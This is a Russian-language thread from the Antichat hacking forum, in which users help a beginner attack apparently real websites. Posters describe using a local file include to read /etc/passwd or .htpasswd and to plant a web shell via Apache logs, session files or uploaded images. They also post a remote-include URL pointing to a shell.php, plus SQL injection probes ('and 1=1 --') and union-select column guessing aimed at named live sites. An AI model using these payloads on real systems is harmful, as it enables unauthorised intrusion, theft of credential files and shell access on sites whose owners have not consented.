ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Извини меня но если человеку слово инклуд ни о чём не говорит то острактное "прочитать" даст большее понимание чем проинклудить которое более непонятно чем само слово инклуд.

Расширяйте кругозор:
Читать
Воспринимать какую-н. письменную речь по ее внешним знакам, буквам и т. п. (произнося вслух или про себя, молча).Ч. буквы. Ч. слова. Ч. по…

Если ты не можешь дать полноценный ответ, то лучше промолчи.
Ответить на вопрос, сказав что при локальном инклуде можно проинклудить пхп файл выполнив в нём код, который зальёт шелл (или сам код шелла) или прочитать файл не содержащий пхп кода (/etc/passwd, .htpasswd и т.д.) и дать линк на статью на тему инклуда не так сложно.

Ещё, как совет можно сказать, что можно пытаться проинклудить:

1. Логи апача.
2. Файл сессии.
3. Залитый через форум (или какой нидь двиг) картинку с пхп кодом.

Вообщета я по пыху проф а не по уязвимостям, знал бы не спросил! Учусь быстро! Там инклуд точно а значит к примеру с сайта http://site.ru/shell.php подставить к
http://wow.alania.net/?page=!

И получится http://wow.alania.net/?page=http://site.ru/shell.php

Я прав???

И обьясните плиз почему это не инъекция???

http://wow.alania.net/?page=guilds&id=-7'

geforce
LFI (Local File Include)
Можно как выражается грэй инклудить только локальные фаилы (находящиеся на сервере wow.alania.net)

Попробуй выполнить команду
http://wow.alania.net/?page=guilds&id=7+and+1=1+--+
http://wow.alania.net/?page=guilds&id=7+and+1=2+--+

Друг ты помоему обкурился

Вообщет надо сначало поля вывода подобрать путем order или методом перебора union+select+1,2,3,4,5,......./**/

geforce

Подбирай , как подберёш отпишись.
И прочитай хотябы фак.
http://forum.antichat.ru/thread19844.html
OffTop
Круто статусное сообщение влияет на отношение к людям))
Хочу -10000 поможете??
Grey: Эт не оскорбление это у меня в статусе написано...или меня ачат оскарбляет? 0_0

2 geforce

1. Он уже ответил тебе, что скули в том параметре нет.
2. У тебя очень низкие познания в синтаксисе sql, прочти статью линк на которую он тебе дал (а ещё заодно статью от Dr.Z3r0).
3. Очень советую прочитать статью про инклуд.
Вообщем то инклуд достаточно серьезная уязвимость и повозиться с ним более чем разумно.
4. Не надо ни кого оскорблять.

2 Rev

Фразы "Друг ты помоему обкурился" и "Ламер" - это всё таки оффтоп и оскорбления.

geforce
дрЗиро ---- >http://forum.antichat.ru/thread43966.html
Не ну я так и не понял -10000 у меня в репе случится??

http://www.witchvox.com/vn/vn_detail/dt_wn.html?a=usak&id=19242

я понял что тут скуль иньекция возможна
но при подборе колонок (union+select) я почему то их немогу подобрать(дошол до 30 но не увидел ничего)
в чем дело?